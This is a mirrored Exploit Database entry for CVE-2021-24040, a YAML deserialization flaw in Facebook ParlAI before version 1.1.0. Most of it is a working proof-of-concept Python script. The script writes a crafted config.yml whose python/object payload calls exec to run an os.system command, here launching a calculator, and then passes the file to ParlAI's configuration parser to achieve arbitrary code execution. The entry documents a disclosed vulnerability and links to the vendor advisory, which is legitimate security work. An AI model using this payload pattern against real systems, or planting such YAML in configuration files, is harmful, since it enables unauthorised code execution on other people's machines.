Facebook ParlAI 1.0.0 – Deserialization of Untrusted Data in parlai

• Exploit Database
• 17 阅读

• 作者： Abhiram V
  日期： 2021-09-13
• 类别：

  • local
  平台：

  • Python
• 来源：https://www.exploit-db.com/exploits/50289/

• # Exploit Title: Facebook ParlAI 1.0.0 -Deserialization of Untrusted Data in parlai
  # Date: 2021-09-11
  # Exploit Author: Abhiram V
  # Vendor Homepage: https://parl.ai/
  # Software Link: https://github.com/facebookresearch/ParlAI
  # Version: < 1.1.0
  # Tested on: Linux
  # CVE: CVE-2021-24040
  # References : 
  # https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg
  # | https://anon-artist.github.io/blogs/blog3.html |
  
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  Introduction
  ParlAI (pronounced “par-lay”) is a free, open-source python framework for
  sharing, training and evaluating AI models on a variety of openly available
  dialogue datasets.
  
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  Vulnerability details
  
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  Description
  ParlAI was vulnerable to YAML deserialization attack caused by unsafe
  loading which leads to Arbitrary Code Execution.
  
  Proof of Concept
  
  Create the following PoC file (exploit.py)
  
  import os
  #os.system('pip3 install parlai')
  from parlai.chat_service.utils import config
  exploit = """!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
  """
  open('config.yml','w+').write(exploit)
  config.parse_configuration_file('config.yml')
  
  Execute the python script ie, python3 exploit.py
  
  Impact
  Code Execution
  
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